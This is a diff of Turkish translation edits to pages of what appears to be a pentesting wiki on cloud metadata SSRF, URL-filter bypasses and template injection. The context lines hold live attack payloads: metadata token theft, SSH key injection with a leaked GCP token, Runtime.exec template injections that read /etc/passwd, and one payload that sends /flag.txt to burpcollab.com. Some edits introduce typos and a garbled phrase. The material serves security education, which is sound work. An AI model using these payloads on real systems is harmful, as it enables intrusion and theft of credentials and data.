> **Sızdırılan hizmet hesabı jetonunu kullanmak için** sadece şunları yapabilirsiniz:
|
||||
> **Sızdırılan hizmet hesabı jetonunu** kullanmak için sadece şunları yapabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> # Çevresel değişkenler aracılığıyla
|
||||
@ -252,7 +251,7 @@ Jetonu çıkarın
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Tokenun kapsamını kontrol edin (önceki çıktı ile veya aşağıdakini çalıştırarak)
|
||||
Tokenun kapsamını kontrol edin (önceki çıktıyla veya aşağıdakini çalıştırarak)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
@ -262,7 +261,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Şimdi SSH anahtarını gönder.
|
||||
Şimdi SSH anahtarını gönderin.
|
||||
```bash
|
||||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||||
@ -299,7 +298,7 @@ done
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yok, bu yüzden metadata bot kimlik bilgilerini bulmayı beklemeyin
|
||||
> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yok, bu yüzden metadata bot kimlik bilgilerini bulmayı beklemeyin.
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -327,11 +326,11 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> **Varsayılan** olarak, metadata uç noktası **sistem atanan MI'yi (varsa)** kullanacaktır.
|
||||
>
|
||||
> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım.
|
||||
> Ne yazık ki, bir VM'ye bağlı tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım.
|
||||
>
|
||||
> Bu nedenle, bağlı tüm MI'leri bulmak için şunları yapabilirsiniz:
|
||||
> Bu nedenle, tüm bağlı MI'leri bulmak için şunları yapabilirsiniz:
|
||||
>
|
||||
> - **Bağlı kimlikleri az cli ile alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
|
||||
> - **az cli** ile **bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
@ -416,7 +415,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
|
||||
### Azure Uygulamaları ve Fonksiyon Hizmetleri
|
||||
|
||||
**env**'den **`IDENTITY_HEADER`** ve **`IDENTITY_ENDPOINT`** değerlerini alabilirsiniz. Bu değerleri, metadata sunucusuyla iletişim kurmak için bir token toplamak için kullanabilirsiniz.
|
||||
**env**'den **`IDENTITY_HEADER`** ve **`IDENTITY_ENDPOINT`** değerlerini alabilirsiniz. Bunları, metadata sunucusuyla iletişim kurmak için bir token toplamak için kullanabilirsiniz.
|
||||
|
||||
Çoğu zaman, bu kaynaklardan biri için bir token almak istersiniz:
|
||||
|
||||
@ -426,7 +425,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -610,7 +609,7 @@ Kubernetes ETCD, API anahtarları, dahili IP adresleri ve portlar tutabilir. Eri
|
||||
|
||||
Docker metadata'sına yerel olarak erişilebilir; konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||||
|
||||
- Docker soketi aracılığıyla konteynerler ve görüntüler metadata'sına erişim için basit bir örnek:
|
||||
- Docker soketi aracılığıyla konteynerler ve görüntülerin metadata'sına erişim için basit bir örnek:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- Konteyner içinde, Docker soketi ile curl kullanın:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
|
||||
@ -108,7 +108,7 @@ attacker。com
|
||||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Alan Karışıklığı
|
||||
### Alan Adı Karışıklığı
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
@ -153,18 +153,18 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i atlatmaya çalışabilir. Daha fazla bilgi için [**bu yazıya**](https://0xacb.com/2022/11/21/recollapse/) da göz atın.
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i aşmayı deneyebilir. Daha fazla bilgi için [**bu yazıya**](https://0xacb.com/2022/11/21/recollapse/) da göz atın.
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Portswigger'dan [**URL validation bypass cheat sheet** web uygulamasına](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host ve saldırganın host'unu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
Portsweigger'dan [**URL validation bypass cheat sheet** web uygulamasına](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host ve saldırganın host'unu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Sunucunun bir SSRF'nin **orijinal isteğini filtreliyor** olması **ama** bu isteğe olası bir **redirect** yanıtını filtrelemiyor olması mümkün olabilir.\
|
||||
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye karşı savunmasız bir sunucu **url parametresini filtreliyor** olabilir. Ancak, yönlendirmek istediğiniz yere bir [python sunucusu ile 302 yanıtı](https://pastebin.com/raw/ywAUhFrv) verirseniz, 127.0.0.1 gibi **filtrelenmiş IP adreslerine** veya hatta gopher gibi filtrelenmiş **protokollere** **erişebilirsiniz**.\
|
||||
Sunucunun SSRF'nin **orijinal isteğini filtreliyor** olması **ama** bu isteğe olası bir **redirect** yanıtını filtrelemiyor olması mümkün olabilir.\
|
||||
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye karşı savunmasız bir sunucu **url parametresini filtreliyor** olabilir. Ancak, yönlendirmek istediğiniz yere 302 yanıtı vermek için bir [python sunucusu kullanırsanız](https://pastebin.com/raw/ywAUhFrv), 127.0.0.1 gibi **filtrelenmiş IP adreslerine** veya hatta gopher gibi filtrelenmiş **protokollere** **erişebilirsiniz**.\
|
||||
[Buna dair bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -190,7 +190,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-hilesi
|
||||
|
||||
_Backslash-hilesi_, [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Anahtar ayrım, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.
|
||||
_Backslash-hilesi_, [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Ana ayrım, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.
|
||||
|
||||

|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja ku
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Bu savunmasız kodda, kullanıcının isteğinden gelen `name` parametresi doğrudan `render` fonksiyonu kullanılarak şablona aktarılmaktadır. Bu, bir saldırganın `name` parametresine kötü niyetli kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
|
||||
Bu savunmasız kodda, kullanıcının isteğinden gelen `name` parametresi doğrudan `render` fonksiyonu kullanılarak şablona aktarılmaktadır. Bu, bir saldırganın `name` parametresine kötü niyetli kod enjekte etmesine olanak tanıyabilir ve sunucu tarafı şablon enjeksiyonuna yol açabilir.
|
||||
|
||||
Örneğin, bir saldırgan şu şekilde bir yük ile bir istek oluşturabilir:
|
||||
```
|
||||
@ -23,12 +23,12 @@ Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiriciler
|
||||
|
||||
### Tespit
|
||||
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yük ile yanıtındaki farklılıkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yükle olan yanıtındaki farklılıkları analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:
|
||||
|
||||
- Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
|
||||
- Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
|
||||
- **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, `{{7*7}}`, `${7*7}`).
|
||||
- **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
|
||||
- **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir değişiklik yapın.
|
||||
|
||||
#### Tanımlama Aşaması
|
||||
|
||||
@ -151,7 +151,7 @@ $out.read()
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- Velocity bölümünde [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- Velocity bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
@ -172,7 +172,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
|
||||
|
||||
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu yaygın değildir.
|
||||
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir, bu da yaygın değildir.
|
||||
|
||||
Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi ifadelerin inşasında kullanılabilir:
|
||||
```java
|
||||
@ -180,7 +180,7 @@ Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön i
|
||||
```
|
||||
**Thymeleaf'deki Zafiyet Örneği**
|
||||
|
||||
Aşağıdaki kod parçasını düşünün, bu istismara açık olabilir:
|
||||
Aşağıdaki kod parçasını düşünün, bu istismar edilmeye açık olabilir:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
@ -204,13 +204,13 @@ el-expression-language.md
|
||||
```
|
||||
**Filtreleri Atlatma**
|
||||
|
||||
Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin.
|
||||
Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` işe yaramıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin.
|
||||
|
||||
- `/etc/passwd` dosyasını okuyun
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
- Payload oluşturma için Özel Script
|
||||
- Yükleme oluşturma için Özel Script
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -258,7 +258,7 @@ el-expression-language.md
|
||||
|
||||
- `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble'in eski versiyonu ( < version 3.0.9):
|
||||
Pebble'ın eski versiyonu ( < version 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
@ -479,7 +479,7 @@ array("first_name" => $user.first_name)
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- Twig ve Twig (Sandboxed) bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Twig ve Twig (Sandboxed) bölümü
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
@ -518,7 +518,7 @@ Düzen şablonu:
|
||||
|
||||
### PHPlib ve HTML_Template_PHPLIB (PHP)
|
||||
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib ile aynıdır ancak Pear'a taşınmıştır.
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB), PHPlib ile aynı ancak Pear'a taşınmıştır.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
@ -665,14 +665,16 @@ URLencoded:
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **Şablon** | **Açıklama** |
|
||||
| ------------ | ------------------------------------- |
|
||||
| | Çıktıyı değerlendirin ve render edin |
|
||||
| | HTML kodlanmış çıktıyı değerlendirin ve render edin |
|
||||
| | Yorum |
|
||||
| ve | Koda izin ver (varsayılan olarak devre dışı) |
|
||||
| **Şablon** | **Açıklama** |
|
||||
|------------|---------------------------------------|
|
||||
| | Çıktıyı değerlendirin ve render edin |
|
||||
| | HTML kodlu çıktıyı değerlendirin ve render edin |
|
||||
| | Yorum |
|
||||
| ve | Koda izin ver (varsayılan olarak devre dışı) |
|
||||
|
||||
- \= 49
|
||||
|
||||
@ -778,7 +780,7 @@ range.constructor(
|
||||
|
||||
### Python
|
||||
|
||||
Python'da **keyfi komut yürütme sandboxes'ını atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
**Kumanda geçişlerini atlama** hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -874,7 +876,7 @@ Python'da **keyfi komut yürütme sandboxes'ını atlama** hakkında ipuçları
|
||||
jinja2-ssti.md
|
||||
{{#endref}}
|
||||
|
||||
Diğer payloadlar için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
Diğer yükler için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
@ -898,10 +900,10 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= Başarı`
|
||||
- `@() <= Başarı`
|
||||
- `@("{{code}}") <= Başarı`
|
||||
- `@ <=Başarı`
|
||||
- `@(2+2) <= Başarılı`
|
||||
- `@() <= Başarılı`
|
||||
- `@("{{code}}") <= Başarılı`
|
||||
- `@ <=Başarılı`
|
||||
- `@{} <= HATA!`
|
||||
- `@{ <= HATA!`
|
||||
- `@(1+2)`
|
||||
@ -943,7 +945,7 @@ Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
|
||||
|
||||
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
|
||||
|
||||
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçirilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
- `{{ . }}`: Veri yapısı girdisini açığa çıkarır. Örneğin, bir `Password` niteliğine sahip bir nesne geçilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
- `{{printf "%s" "ssti" }}`: "ssti" dizesini göstermesi beklenir.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde [burada](https://golang.org/pkg/text/template) incelenebilir.
|
||||
|
||||
@ -957,7 +959,7 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
RCE istismarı `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanılarak), bu `html/template`'de izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
|
||||
Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir `System` yöntemine sahipse, `{{ .System "ls" }}` gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:
|
||||
```go
|
||||
@ -971,9 +973,9 @@ return string(out)
|
||||
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Daha Fazla İstismar
|
||||
### Daha Fazla Sömürü
|
||||
|
||||
Daha fazla istismar için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz.
|
||||
Daha fazla sömürü için [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kısmını kontrol edin. Ayrıca [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) adresinde ilginç etiket bilgileri bulabilirsiniz.
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
||||
@ -22,9 +22,9 @@ EL, JavaEE teknolojilerinde, bağımsız ortamlarda mevcuttur ve `.jsp` veya `.j
|
||||
|
||||
## Temel Örnek
|
||||
|
||||
(EL hakkında başka ilginç bir eğitimi [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) adresinde bulabilirsiniz.)
|
||||
(Burada EL hakkında başka ilginç bir eğitim bulabilirsiniz [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
[**Maven**](https://mvnrepository.com) deposundan aşağıdaki jar dosyalarını indirin:
|
||||
Aşağıdaki jar dosyalarını [**Maven**](https://mvnrepository.com) deposundan indirin:
|
||||
|
||||
- `commons-lang3-3.9.jar`
|
||||
- `spring-core-5.2.1.RELEASE.jar`
|
||||
|
||||
@ -23,7 +23,7 @@ app.run()
|
||||
|
||||
### **Hata Ayıklama İfadesi**
|
||||
|
||||
Eğer Hata Ayıklama Eklentisi etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri dökmek için bir `debug` etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilir olanları görmek için faydalıdır.
|
||||
Eğer Hata Ayıklama Eklentisi etkinleştirilmişse, mevcut bağlamı ve mevcut filtreleri ve testleri dökmek için bir `debug` etiketi kullanılabilir. Bu, bir hata ayıklayıcı ayarlamadan şablonda kullanılabilecekleri görmek için faydalıdır.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
@ -76,11 +76,11 @@ request
|
||||
```
|
||||
### Kurtarma \<class 'object'>
|
||||
|
||||
Sonra, bu nesnelerden **tanımlı sınıfları** **kurtarmak** için **`<class 'object'>`** sınıfına ulaşmamız gerekiyor. Bunun nedeni, bu nesneden **`__subclasses__`** metodunu çağırarak **sandbox dışındaki** python ortamındaki tüm sınıflara erişebilmemizdir.
|
||||
Sonra, bu nesnelerden **`<class 'object'>`** sınıfına ulaşmamız gerekiyor, böylece tanımlı **sınıfları** **kurtarmaya** çalışabiliriz. Bunun nedeni, bu nesneden **`__subclasses__`** yöntemini çağırarak **sandbox dışındaki** python ortamındaki tüm sınıflara erişebilmemizdir.
|
||||
|
||||
Bu **nesne sınıfına** erişmek için, önce bir **sınıf nesnesine** erişmeniz ve ardından ya **`__base__`**, **`__mro__()[-1]`** ya da `.`**`mro()[-1]`** ile erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan sonra **`__subclasses__()`** çağırırız.
|
||||
|
||||
Bu örneklere göz atın:
|
||||
Bu örneklere bakın:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
@ -126,9 +126,9 @@ dict.__mro__[-1]
|
||||
```
|
||||
### RCE Kaçışı
|
||||
|
||||
**Kurtarıldıktan sonra** `<class 'object'>` ve `__subclasses__` çağrıldıktan sonra, artık bu sınıfları dosya okumak ve yazmak ve kod çalıştırmak için kullanabiliriz.
|
||||
**Kurtarılan** `<class 'object'>` ve `__subclasses__` çağrıldıktan sonra, artık bu sınıfları dosya okumak ve yazmak ve kod çalıştırmak için kullanabiliriz.
|
||||
|
||||
`__subclasses__` çağrısı, bize **yüzlerce yeni işleve erişme fırsatı** verdi, sadece **dosya sınıfına** erişerek **dosya okumak/yazmak** veya **komut çalıştırmaya izin veren** (örneğin `os`) bir sınıfa erişerek mutlu olacağız.
|
||||
`__subclasses__` çağrısı, **yüzlerce yeni işlevi erişimimize sundu**, sadece **dosya sınıfına** erişerek **dosya okumak/yazmak** veya **komut çalıştırmaya izin veren** (örneğin `os`) bir sınıfa erişerek mutlu olacağız.
|
||||
|
||||
**Uzak dosyayı oku/yaz**
|
||||
```python
|
||||
@ -170,7 +170,7 @@ Daha fazla **sınıf** öğrenmek için **kaçış** yapabileceğiniz, **kontrol
|
||||
#### Yaygın atlamalar
|
||||
|
||||
Bu atlamalar, bazı karakterler **kullanmadan** nesnelerin **niteliklerine** **erişmemizi** sağlayacaktır.\
|
||||
Önceki örneklerde bu atlamalardan bazılarını zaten gördük, ancak burada özetleyelim:
|
||||
Daha önceki örneklerde bu atlamalardan bazılarını zaten gördük, ancak burada özetleyelim:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
@ -202,13 +202,13 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
|
||||
|
||||
```
|
||||
- [**Daha fazla seçenek için buraya dönün, global bir nesneye erişim**](jinja2-ssti.md#accessing-global-objects)
|
||||
